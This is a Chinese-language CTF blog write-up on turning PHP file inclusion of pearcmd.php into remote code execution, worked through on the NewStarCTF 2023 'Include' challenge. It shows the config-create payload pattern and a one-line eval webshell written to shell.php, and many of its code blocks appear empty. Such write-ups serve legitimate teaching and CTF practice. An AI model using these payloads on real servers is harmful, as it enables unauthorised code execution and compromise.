pearcmd.php文件包含
前置与payload
利用pearcmd.php文件包含的前提是register_argc_argv这个要打开
pearcmd.php文件的位置在 /usr/share/php/pearcmd.php 或 /usr/local/lib/php/pearcmd

两种文件位置的payload
1 | |
1 | |
?+config-create+/: 触发pearcmd.php中的配置创建功能&file=/usr/local/lib/php/pearcmd: 指定要包含的文件路径&/: 终止参数解析的特殊符号,迫使脚本停止处理后续参数,确保前面的参数被正确解析
这就是将一句话木马<?=eval($_POST[1])?>写入了/var/www/html/shell.php
**注意:**要利用bp抓包进行传入,因为如果直接在浏览器中传参,php代码中的部分符号会被url编码之后再写入shell.php文件中,就不会被当成php代码
题目实操
题目来源:[NewStarCTF 2023 公开赛道]Include 🍐
题目源码
1 | |
提示phpinfo.php中有东西,进行包含看看
1 | |

1 | |
是个假的flag,不过也是个提示,检查register_argc_argv

会发现register_argc_argv是开着的,也就是说可以对pearcmd.php文件进行包含利用
这里使用的在/usr/local/lib/php/pearcmd
payload
1 | |
**注意:**要利用bp抓包进行传入,因为如果直接在浏览器中传参,php代码中的部分符号会被url编码之后再写入shell.php文件中,就不会被当成php代码

然后直接浏览器访问/shell.php进行RCE,POST传参1
1 | |

1 | |

也可以用蚁剑连


pearcmd.php文件包含
https://yschen20.github.io/2025/06/04/pearcmd-php文件包含/